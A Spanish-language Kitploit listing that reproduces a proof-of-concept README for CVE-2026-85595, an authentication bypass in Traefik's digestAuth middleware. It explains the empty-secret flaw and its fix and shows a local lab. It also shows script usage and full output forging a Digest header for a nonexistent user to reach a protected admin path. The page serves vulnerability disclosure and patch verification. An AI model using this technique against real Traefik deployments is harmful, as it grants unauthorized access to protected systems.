Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-85595-PoC — CVE-2026-85595 — omisión de autenticación digestAuth en Traefik (nombre de usuario desconocido => HA1 vacío). Verificado en laboratorio: omisión en v3.7.10, 401 en v3.7.11. | Kitploit
Herramientas/GitHubGitHub/boreas37/cve-2026-85595-poc
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAutenticaciónLabs y Práctica
GitHubboreas37/cve-2026-85595-poc

CVE-2026-85595-PoC

CVE-2026-85595 — omisión de autenticación digestAuth en Traefik (nombre de usuario desconocido => HA1 vacío). Verificado en laboratorio: omisión en v3.7.10, 401 en v3.7.11.

Ver Repositorio
hace 13 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-85595 — digestAuth de Traefik autentica a usuarios desconocidos (secreto vacío)

Afectado: Traefik < 2.11.55, y 3.0.0 – 3.7.10 Corregido: 2.11.55 / 3.7.11 Corrección: commit b975dcaa8c48 de containous/go-http-auth "Reject DigestAuth when user secret is empty", incorporado en Traefik mediante el commit 2116686308a2 (actualización de go.mod) Aviso: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287

Mecanismo

El middleware digest de Traefik resuelve el HA1 del usuario mediante su propia búsqueda de secretos (pkg/middlewares/auth/digest_auth.go):

func (d *digestAuth) secretDigest(user, realm string) string {
	if secret, ok := d.users[user+":"+realm]; ok {
		return secret
	}
	return ""            // unknown user -> empty secret, not a rejection
}

El CheckAuth de go-http-auth toma entonces ese "" como HA1 y calcula (digest.go:191-203 antes de la corrección):

HA1 := da.Secrets(auth["username"], da.Realm)   // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD  := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)

PlainTextSecrets es false para Traefik (el archivo de usuarios ya contiene HA1), por lo que HA1 permanece como cadena vacía. Cada entrada a KD excepto HA1 está controlada por el atacante o es entregada por el desafío 401 (nonce, opaque), y la comprobación de uri acepta la propia ruta de la solicitud. Por lo tanto, la respuesta es calculable sin ninguna contraseña y sin un nombre de usuario que exista en el archivo de usuarios.

La corrección son tres líneas en la biblioteca:

HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
	return "", nil
}

Traefik en sí no necesitó ningún cambio de código — solo la actualización de la dependencia — por lo que el diff de v3.7.11 no contiene ningún hunk de digest_auth.go.

Laboratorio

rolimagencontenedorpuerto del host
proxy vulnerabletraefik:v3.7.10poc-traefik-vuln-3710127.0.0.1:21010 → :8000
proxy corregidotraefik:v3.7.11poc-traefik-3711127.0.0.1:21011 → :8000
  • Router: PathPrefix(/admin) en el entrypoint digest, middleware digestAuth (realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).
  • Archivo de usuarios: admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5 (admin:traefik-lab:S3cretLabPass). El usuario ghost usado por el PoC no está en él.
  • Backend: poc-traefik-app (python:3.12-alpine), sirve ADMIN-AREA … para /admin/*.
  • Receta: lab/README.md.

Uso

python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010   # vulnerable
python3 cve_2026_85595.py check   --url http://127.0.0.1:21011   # fixed

--output FILE escribe la transcripción; --path, --user sobrescriben la ruta de destino y el nombre de usuario falsificado.

Verificación (salida real)

1. traefik:v3.7.10 vulnerable — omisión

$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target          : http://127.0.0.1:21010
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : exploit
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request                    -> HTTP 200
    body: ADMIN-AREA secret admin panel for /admin/secret
    request_line: GET /admin/secret HTTP/1.1
    resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)

El registro de acceso del propio proxy registra la identidad falsificada como un usuario autenticado (ClientUsername es el segundo campo después de la IP del cliente):

192.168.48.1 - -     [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms

2. Mismo proxy, sin credenciales (control)

$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401

3. traefik:v3.7.11 fijado — digest falsificado rechazado

$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target          : http://127.0.0.1:21011
[*] protected path  : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode            : check
[*] control (no credentials)          -> HTTP 401
[*] challenge                         -> HTTP 401
    Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost')      -> ''
[*] forged response                   -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request                    -> HTTP 401
    body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)

Notas / limitaciones

  • La PoC falsifica una solicitud por desafío; la contabilidad de nonces (nc) no es necesaria más allá del uso único.
  • No se utilizan credenciales válidas en ningún punto; el único nombre de usuario transmitido es uno que no existe en el archivo de usuarios.
  • La misma técnica funciona contra cualquier router protegido con digestAuth en una versión afectada, y contra 2.11.x < 2.11.55.
Descargar herramienta